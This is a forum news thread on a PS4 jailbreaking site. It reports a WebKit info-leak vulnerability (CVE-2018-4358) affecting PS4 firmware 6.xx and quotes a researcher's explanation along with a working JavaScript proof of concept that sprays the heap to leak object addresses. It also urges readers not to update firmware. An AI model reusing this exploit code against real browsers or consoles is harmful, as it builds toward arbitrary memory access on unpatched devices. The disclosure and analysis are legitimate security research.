Category PS4 Jailbreaking       Thread starter PSXHAX       Start date Dec 11, 2018 at 12:04 AM       82,721       30            
Not open for further replies.
Since his PS4 Notification Tool release, developer @Wultra (aka C0rpVultra on Twitter) has been testing vulnerabilities and found that a JSC_ConcatMemcpy_InfoLeak WebKit exploit reported by externalist affects PlayStation 4 consoles running PS4 Firmware 6.00, PS4 Firmware 6.02 and even Sony's latest PS4 Firmware 6.10 Beta system software and documented these findings on his repository below with a PS4_JSC_ConcatMemcpy_POC. :geek:

Download: / Live Demo / Mirror by @EdiTzZ / GIT / CVE-2018-4358

:alert: Needless to say this is a 6.XX PS4 WebKit (Userland) exploit and not a Kernel-level exploit, meaning until a fully implemented 6.XX Kernel exploit is publicly available you won't be able to jailbreak these PlayStation 4 consoles so don't update!

PS4 6.02 Webkit InfoLeak Meme - [object Object] address: 0x200f88100
From the PS4_JSC_ConcatMemcpy_POC

Works on 6.xx firmware.. Exploited function does not exist on lower FW(s), meaning it does not work on them.

Firmware Webkit Version Vulnerable?
6.20 605.1.15 Yes
6.10 Beta 605.1.15 Yes
6.02 605.1.15 Yes
6.00 605.1.15 Yes
5.55 601.2 No
5.53 601.2 No
5.50 601.2 No
5.07 601.2 No
And from via externalist:
For the detail on JavaScriptCore and terminology used
refer to [0].

This is an exploit for a bug in JavaScriptCore function
JSC::arrayProtoPrivateFuncConcatMemcpy, fixed via commit [1].

It's similar to the one described in JSC::JSArray::appendMemcpy
by lokihardt (see [4]).

Both are optimizations (fast path) for Array.prototype.concat function.

The underlying problem is that JavaScriptCore arrays with UndecidedShape
might get butterflies which are not initialized. (For instance via
JSArray::tryCreateUninitializedRestricted method). The header is setup,
but the rest is left out as it is. The fast path functions mentioned above
both use memcpy to produce the final result. In the case the function fails
to properly determine the presence of an UndecidedShape array butterfly as memcpy
argument it's going to place the values from uninitialized memory into
the newly allocated butterfly and return it back to the caller.

This condition allows to produce materialize primitive (ability to
make javascript engine threat data at a given address as a javascript object)
as shown in project zero report. Besides, it allows to obtain a leak primitive
(ability to leak an arbitrary object address) as shown in this exploit. Having
those two primitive is usually enough to get an arbitrary read/write and
execute within WebKit based renderer process. For instance see [3].

The initial attempt to fix the issue was made in [2], roughly a month after
the lokihardt's report. It was not complete and only eliminated the
ability to get materialize primitive. We can speculate that it might have been
related to the fact that project zero report only outlined the materialize
primitive and left out the leak one, so the developer only added a check
for ContiniousShape, but not for the DoubleShape case.

This particular exploit was tested on iPhone 8, running 11.4.1.



function print(msg) {

// Triggers full garbage collection
function _gc() {
   for (var i=0; i<0x100; i++) {
       new Uint32Array(0x400*0x400);

function d2i(d) {

   var ab = new ArrayBuffer(8);
   var f64 = new Float64Array(ab);
   var u32 = new Uint32Array(ab);

   f64[0] = d;

   return u32[0] + 0x100000000 * u32[1];

function bd2i(d) {
   var ab = new ArrayBuffer(8);
   var f64 = new Float64Array(ab);
   var u32 = new Uint32Array(ab);

   return u32[0] + 0x100000000 * u32[1] - 0x1000000000000;

function i2d(i) {

   var ab = new ArrayBuffer(8);
   var f64 = new Float64Array(ab);
   var u32 = new Uint32Array(ab);

   u32[0] = i % 0x100000000;
   u32[1] = i/0x100000000;

   return f64[0];

function hex(x) {
   if (x < 0)
       return `-${hex(-x)}`
   return `0x${x.toString(16)}`

const __len = 0x40;

// an object to leak
var x = {};

// trigger the garbage collection so all unmarked
// memory blocks become free and do not interfere
// with our further memory arrangements

const MAGIC=0xB00B5;

// Spam blocks containing pointer to an object we want to
// leak. For convenience, we allocate it the same way as the arrays used to trigger
// the bug, so the blocks are in the same freelist.
// Choose __len so the freelist for that size is not heavily used,
// to increase the success rate.
for (var i=0; i<0x1000; i++) {
   var b = new Array(__len).concat(new Array(__len));
   b[0] = x;
   // Set second element to 0x0001000000000000 + MAGIC.
   // First convert it to double represented by MAGIC.
   // When stored, it's going to get boxed, so we get exactly
   // 0x0001000000000000 + MAGIC
   // We are going to use 0x0001000000000000 + MAGIC
   // to detect a spammed block later on.
   b[1] = i2d(MAGIC);

// trigger garbage collection, so our spammed blocks
// become free

var a;
for (var i=0; i<0x100; i++) {

   // Use Array.prototype.concat to allocate
   // an Undecided array with uninitialized butterfly
   // using JSArray::tryCreateUninitializedRestricted via
   // arrayProtoPrivateFuncConcatMemcpy. For details refer to concat
   // implementation in JavaScriptCore/builtins/ArrayPrototype.js.
   a = new Array(__len).concat(new Array(__len));

   // Call arrayProtoPrivateFuncConcatMemcpy with
   // Undecided and DoubleArray arrays,
   // so the result is a DoubleArray containing our spammed
   // values as unboxed doubles coupled with unboxed 1.1

   // Here is the buggy code we are attacking
   //  ...
   //  if (type == ArrayWithDouble) {
       //       double* buffer = result->butterfly()->contiguousDouble().data();
       //     memcpy(buffer, firstButterfly->contiguousDouble().data(), sizeof(JSValue) * firstArraySize);
       //     memcpy(buffer + firstArraySize, secondButterfly->contiguousDouble().data(), sizeof(JSValue) * secondArraySize);
       //  } else if (type != ArrayWithUndecided) {
   //  ...
   //  buffer is the resulting array butterfly.
   //  firstButterfly is pointing to our uninitialized butterfly from Undecided array
   //  secondButterfly points to butterfly of [1.1] array
   a = a.concat([1.1]);

   // check the magic value
   if (d2i(a[1]) == 0x1000000000000 + MAGIC) {

if (a[0] != void 0)
   print(x.toString() + " address: " + hex(d2i(a[0])));



:alert: JSC_ConcatMemcpy_InfoLeak Patched in 6.50 Beta :cryingface:

PS4 6.XX JSC_ConcatMemcpy Webkit Exploit POC via C0rpVultra.jpg


Not open for further replies.


Senior Member
Always excellent to hear news like this :D and a new method to boot games on 6.02 incoming? So Spider-Man and rdr 2 will be Bootable? Well that's great news lol
Not open for further replies.
Recent Articles
Nintendo (NES) PS2 on PS4 Emulator FCEUX Port PKG by Irfanansarionl9
Proceeding the PS4NES Emulator, PS4 v5.05 Port, PS4NES v1.01 Update and RetroArch QuickNES Port comes a Nintendo Entertainment System (NES) PS2 on PS4 Emulator FCEUX Port PKG from irfanansarionl9...
Blood & Truth Hits PS VR Next Week Among New PS4 Releases
Next week three heavy hitters land on PlayStation VR amongst the new PS4 game releases, namely The London Heist follow-up Blood & Truth, Five Nights at Freddy's VR: Help Wanted and also Trover...
Crash Team Racing: Nitro-Fueled Adventure Mode PS4 Gameplay, Details
Last month we saw a demo of rival Team Sonic Racing, and today Beenox Co-Studio Head Thomas Wilson shared a look at the CTR Adventure Mode in their upcoming kart racer Crash Team Racing...
Shoot Test PS4 Homebrew PKG by Lapy05575948
Following his Overcome: Save the Girl Edition PS4 PKG, today PlayStation 4 developer @Lapy is back with a Shoot Test PS4 PKG on Twitter stating the following: This is not the game that I have...